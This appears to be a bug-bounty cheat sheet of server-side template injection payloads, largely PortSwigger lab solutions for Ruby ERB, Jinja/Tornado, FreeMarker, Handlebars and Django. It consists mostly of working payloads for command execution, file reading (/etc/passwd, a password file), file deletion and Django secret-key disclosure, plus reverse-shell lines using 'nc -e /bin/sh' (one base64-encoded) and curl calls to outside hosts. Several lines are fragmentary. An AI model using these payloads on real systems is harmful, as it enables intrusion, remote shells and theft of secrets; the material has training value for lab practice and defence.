## Template Injection
**Ruby**
```ruby
<%=`id`%>
```
**Twig**
The following payload should output `49`.
```
{{7*'7'}}
```
**Jinja**
This payload should output `7777777`.
```
{{7*'7'}}
?{{7-1}}">'><b>aa
nec rmt load file base 64 decode
ssh "<?passthru('nc -e /bin/sh 10.0.2.15 8888');?>"
@66.218.84.43
ssh "<?passthru(base64_decode('bmMgLWUgL2Jpbi9zaCAxMC4wLjIuMTUgODg4OAo==');?>"
@66.218.84.43
```
# Basic server-side template injection
portswigger.net/web-security…
```
YOUR-LAB-ID.web-security-aca…<%= 7*7 %>
<%= 7*7 %>
<%= 7*7 %>
<%= system("rm /home/carlos/morale.txt") %>
<% system("rm /home/carlos/morale.txt") %>
rce
<%= system("whoami") %>
system("cat /etc/passwd") %>
```
# Basic server-side template injection (code context)
portswigger.net/web-security…
```
{{7*7}} = 49
${7*7} = ${7*7}
{{foobar}} = Error
{{7*'7'}} = 7777777
{% somePython %}
{% import os %}
{% import foobar %} = Error
{% import os %}
{% import os %}
{{os.system('whoami')}}
{{os.system('whoami')}}
blog-post-author-display=
user.name}}{{7*7}}
user.name}}{% import os %}{{os.system('rm /home/carlos/morale.txt')
user.name}}{% import os %}{{os.system('cat /etc/passwd'
```
# Server-side template injection using documentation
portswigger.net/web-security…
```
{{7*7}} = {{7*7}}
${7*7} = 49
#{7*7} = 49 -- (legacy)
${7*'7'} Nothing
${foobar}
<
#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[
#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
<
#assign classloader=article.class.protectionDomain.classLoader>
<
#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<
#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<
#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
<
#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("curl -L
x31753kmxd9pgmdjn9ss2v803r9i…") }
```
# Server-side template injection in an unknown language with a documented exploit
portswigger.net/web-security…
portswigger.net/research/ser…
```
${{<%[%'"}}%\
require("child_process").exec("rm /home/carlos/morale.txt")
```
```
wrtz{{
#with "s" as |string|}} {{
#with "e"}} {{
#with split as |conslist|}} {{this.pop}} {{this.push (lookup string.sub "constructor")}} {{this.pop}} {{
#with string.split as |codelist|}} {{this.pop}} {{this.push "return require('child_process').exec('rm /home/carlos/morale.txt');"}} {{this.pop}} {{
#each conslist}} {{
#with (string.sub.apply 0 codelist)}} {{this}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}}{{/with}}
wrtz{{
#with "s" as |string|}} {{
#with "e"}} {{
#with split as |conslist|}} {{this.pop}} {{this.push (lookup string.sub "constructor")}} {{this.pop}} {{
#with string.split as |codelist|}} {{this.pop}} {{this.push "return require('child_process').exec('curl
xno7p34mhdtp0mxj79csmvs0nrti…');"}} {{this.pop}} {{
#each conslist}} {{
#with (string.sub.apply 0 codelist)}} {{this}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}}{{/with}}
```
# Server-side template injection with information disclosure via user-supplied objects ssti settings django
portswigger.net/web-security…
docs.djangoproject.com/en/5.…
cobalt.io/blog/a-pentesters-…
```
{% debug %}
{{settings.SECRET_KEY}}
```
#bugbountytips #bugbounty